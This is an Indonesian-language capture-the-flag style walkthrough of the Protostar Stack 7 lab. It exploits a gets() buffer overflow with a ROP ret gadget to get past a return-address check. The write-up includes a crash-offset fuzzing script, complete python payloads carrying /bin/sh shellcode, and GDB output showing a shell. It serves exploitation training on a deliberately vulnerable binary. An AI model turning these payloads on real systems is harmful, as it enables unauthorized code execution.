Protostar Stack 7
Alat dan Bahan
- Binary: stack7
- Sistem operasi: Debian 9 dengan arsitektur 64 bit.
Mengatur Lingkungan Pekerjaan
- Binary
Ambil binary dari VM Protostar.
$ scp [email protected]:/opt/protostar/bin/stack7 $PWD
- Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
- Mematikan ASLR
Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Identifikasi Kelemahan
$ checksec stack7
[*] '/../stack7'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
$ ./stack7
input path please: 1
got path 1
Program menerima input dari stdin kemudian diproses melalui fungsi gets yang vulnerable. Tujuan akhirnya adalah mendapatkan akses shell.
fsi.sh
#!/bin/bash
buffer=""
for i in {1..2048}
do
echo $i
buffer+="A"
echo $buffer > /tmp/delete.me
./$1 < /tmp/delete.me
if [ $? -eq 139 ]; then
echo "SEGMENTATION FAULT on $i BUFFER"
break
fi
done
Eksploitasi
$ ./fsi.sh stack7
...
SEGMENTATION FAULT on 76 BUFFER
Ada proteksi canary sederhanan, sehingga shellcode tidak bisa dieksekusi dengan gadget 0xb0000000. Agar shellcode bisa diekseksui maka gunakan teknik Return Oriented Programming (ROP).
ROP biasanya menggunakan gadget agar bisa pindah ke stack yang diinginkan. Untuk mendapatkan gadget bisa menggunakan GDB PEDA.
$ ROPgadget --binary stack7 | grep ret
0x08048362 : ret
Ada gadget ret yang bisa digunakan untuk pindah alamat selanjutnya pada stack. Gadget tersebut bisa digunakan dengan desain payload ini, JUNK Buffer + GADGET Addr + SHELLCODE Addr + SHELLCODE Buffer.
Alamat gadget ret ada pada 0x08048362, selanjutnya gunakan offset sebesar 80 byte sebelum register IP untuk mencari alamat stack yang diawali dengan 0xb0.
$ python -c "print 'A'*80 + '\x62\x83\x04\x08' + 'AAAA' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/p
Luaran GDB pada Protostar.
r < /tmp/p
Starting program: /opt/protostar/bin/stack7 < /tmp/p
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAb�AAAAAAAAAAAAb�AAAA1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/1x $esp
0xbffffca4: 0xdb31c031
Alamat yang diinginkan sudah ditemukan pada 0xbffffca4, sekarang tinggal ditambahkan ke payload.
$ python -c "print 'A'*80 + '\x62\x83\x04\x08' + '\xa4\xfc\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/q
Luaran GDB pada Protostar.
(gdb) r < /tmp/q
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack7 < /tmp/q
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAb�AAAAAAAAAAAAb�����1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
Executing new program: /bin/dash
Akses shell /bin/dash berhasil didapatkan.